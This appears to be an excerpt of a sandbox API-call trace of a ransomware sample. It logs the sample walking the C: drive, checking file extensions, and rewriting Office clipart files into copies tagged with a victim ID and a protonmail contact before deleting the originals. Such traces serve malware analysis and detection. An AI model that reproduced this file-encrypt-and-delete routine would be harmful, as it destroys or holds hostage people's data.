	[0204.318] lstrlenW (lpString=".rar") returned 4
	[0204.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString=".bz2") returned 4
	[0204.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString=".7z") returned 3
	[0204.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.318] lstrlenW (lpString=".dbf") returned 4
	[0204.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.318] lstrlenW (lpString=".1cd") returned 4
	[0204.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.318] lstrlenW (lpString=".jpg") returned 4
	[0204.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.318] lstrlenW (lpString=".doc") returned 4
	[0204.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString=".docx") returned 5
	[0204.318] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0204.318] lstrlenW (lpString=".pdf") returned 4
	[0204.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString=".xls") returned 4
	[0204.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.319] lstrlenW (lpString=".xlsx") returned 5
	[0204.319] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0204.319] lstrlenW (lpString=".ppt") returned 4
	[0204.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.319] lstrlenW (lpString=".zip") returned 4
	[0204.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.319] lstrlenW (lpString=".rar") returned 4
	[0204.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.319] lstrlenW (lpString=".bz2") returned 4
	[0204.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.319] lstrlenW (lpString=".7z") returned 3
	[0204.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.319] lstrlenW (lpString=".dbf") returned 4
	[0204.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.319] lstrlenW (lpString=".1cd") returned 4
	[0204.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.319] lstrlenW (lpString=".jpg") returned 4
	[0204.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.319] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.319] lstrlenW (lpString="J0153047.WMF") returned 12
	[0204.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.321] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=33068) returned 1
	[0204.321] CloseHandle (hObject=0x580) returned 1
	[0204.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 0x220
	[0204.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.322] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.322] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0204.323] GetLastError () returned 0x0
	[0204.323] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x812c, lpOverlapped=0x0) returned 1
	[0204.328] WriteFile (in: hFile=0x5b8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x8130, lpOverlapped=0x0) returned 1
	[0204.330] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.330] WriteFile (in: hFile=0x5b8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.330] SetEndOfFile (hFile=0x5b8) returned 1
	[0204.331] CloseHandle (hObject=0x5b8) returned 1
	[0204.331] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.331] SetEndOfFile (hFile=0x580) returned 1
	[0204.334] CloseHandle (hObject=0x580) returned 1
	[0204.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1
	[0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.336] lstrlenW (lpString=".doc") returned 4
	[0204.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.336] lstrlenW (lpString=".docx") returned 5
	[0204.336] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0204.336] lstrlenW (lpString=".pdf") returned 4
	[0204.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.336] lstrlenW (lpString=".xls") returned 4
	[0204.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.336] lstrlenW (lpString=".xlsx") returned 5
	[0204.336] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0204.336] lstrlenW (lpString=".ppt") returned 4
	[0204.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.336] lstrlenW (lpString=".zip") returned 4
	[0204.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.336] lstrlenW (lpString=".rar") returned 4
	[0204.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.336] lstrlenW (lpString=".bz2") returned 4
	[0204.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.336] lstrlenW (lpString=".7z") returned 3
	[0204.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.336] lstrlenW (lpString=".dbf") returned 4
	[0204.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.336] lstrlenW (lpString=".1cd") returned 4
	[0204.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.337] lstrlenW (lpString=".jpg") returned 4
	[0204.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.337] lstrlenW (lpString=".doc") returned 4
	[0204.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString=".docx") returned 5
	[0204.337] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0204.337] lstrlenW (lpString=".pdf") returned 4
	[0204.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString=".xls") returned 4
	[0204.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.337] lstrlenW (lpString=".xlsx") returned 5
	[0204.337] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0204.337] lstrlenW (lpString=".ppt") returned 4
	[0204.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.337] lstrlenW (lpString=".zip") returned 4
	[0204.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.337] lstrlenW (lpString=".rar") returned 4
	[0204.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString=".bz2") returned 4
	[0204.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString=".7z") returned 3
	[0204.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.337] lstrlenW (lpString=".dbf") returned 4
	[0204.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.337] lstrlenW (lpString=".1cd") returned 4
	[0204.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0204.338] lstrlenW (lpString=".jpg") returned 4
	[0204.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.338] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.338] lstrlenW (lpString="J0153087.WMF") returned 12
	[0204.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.339] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1912) returned 1
	[0204.339] CloseHandle (hObject=0x580) returned 1
	[0204.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 0x220
	[0204.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.340] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.340] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0204.341] GetLastError () returned 0x0
	[0204.341] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x778, lpOverlapped=0x0) returned 1
	[0204.651] WriteFile (in: hFile=0x5b8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x780, lpOverlapped=0x0) returned 1
	[0204.652] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.652] WriteFile (in: hFile=0x5b8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.652] SetEndOfFile (hFile=0x5b8) returned 1
	[0204.652] CloseHandle (hObject=0x5b8) returned 1
	[0204.652] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.652] SetEndOfFile (hFile=0x580) returned 1
	[0204.655] CloseHandle (hObject=0x580) returned 1
	[0204.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1
	[0204.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.657] lstrlenW (lpString=".doc") returned 4
	[0204.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.657] lstrlenW (lpString=".docx") returned 5
	[0204.657] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0204.657] lstrlenW (lpString=".pdf") returned 4
	[0204.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.657] lstrlenW (lpString=".xls") returned 4
	[0204.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.657] lstrlenW (lpString=".xlsx") returned 5
	[0204.657] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0204.657] lstrlenW (lpString=".ppt") returned 4
	[0204.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.657] lstrlenW (lpString=".zip") returned 4
	[0204.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.657] lstrlenW (lpString=".rar") returned 4
	[0204.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.657] lstrlenW (lpString=".bz2") returned 4
	[0204.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.657] lstrlenW (lpString=".7z") returned 3
	[0204.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.657] lstrlenW (lpString=".dbf") returned 4
	[0204.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.657] lstrlenW (lpString=".1cd") returned 4
	[0204.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.658] lstrlenW (lpString=".jpg") returned 4
	[0204.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.658] lstrlenW (lpString=".doc") returned 4
	[0204.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString=".docx") returned 5
	[0204.658] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0204.658] lstrlenW (lpString=".pdf") returned 4
	[0204.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString=".xls") returned 4
	[0204.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.658] lstrlenW (lpString=".xlsx") returned 5
	[0204.658] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0204.658] lstrlenW (lpString=".ppt") returned 4
	[0204.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.658] lstrlenW (lpString=".zip") returned 4
	[0204.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.658] lstrlenW (lpString=".rar") returned 4
	[0204.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString=".bz2") returned 4
	[0204.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString=".7z") returned 3
	[0204.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.658] lstrlenW (lpString=".dbf") returned 4
	[0204.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.659] lstrlenW (lpString=".1cd") returned 4
	[0204.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0204.659] lstrlenW (lpString=".jpg") returned 4
	[0204.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.659] lstrlenW (lpString=".id-") returned 4
	[0204.659] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673290 | out: hHeap=0x610000) returned 1
	[0204.659] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbf38 | out: hHeap=0x610000) returned 1
	[0204.659] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e70990 | out: hHeap=0x610000) returned 1
	[0204.660] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x43f0048 | out: hHeap=0x610000) returned 1
	[0204.660] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45f9020 | out: hHeap=0x610000) returned 1
	[0204.665] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673278 | out: hHeap=0x610000) returned 1
	[0204.665] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441418
	[0204.665] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441418, Size=0x20) returned 0x668380
	[0204.665] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441628
	[0204.665] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441628, Size=0x20) returned 0x668420
	[0204.666] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.666] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.666] Wow64DisableWow64FsRedirection (in: OldValue=0x3a0ff50 | out: OldValue=0x3a0ff50*=0x1) returned 1
	[0204.666] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.666] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668420 | out: hHeap=0x610000) returned 1
	[0204.666] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.666] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668380 | out: hHeap=0x610000) returned 1

Thread:
	id = 51
	os_tid = 0xddc

	[0165.177] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4400720
	[0165.178] lstrlenW (lpString="C:") returned 2
	[0165.178] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6abd18
	[0165.178] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0165.178] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0165.178] lstrlenW (lpString="$GetCurrent") returned 11
	[0165.178] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0165.178] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.179] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0165.179] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6abf98
	[0165.181] FindNextFileW (in: hFindFile=0x6abf98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.181] FindNextFileW (in: hFindFile=0x6abf98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0165.181] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0165.181] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0165.181] lstrlenW (lpString="Logs") returned 4
	[0165.181] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0165.181] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.182] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
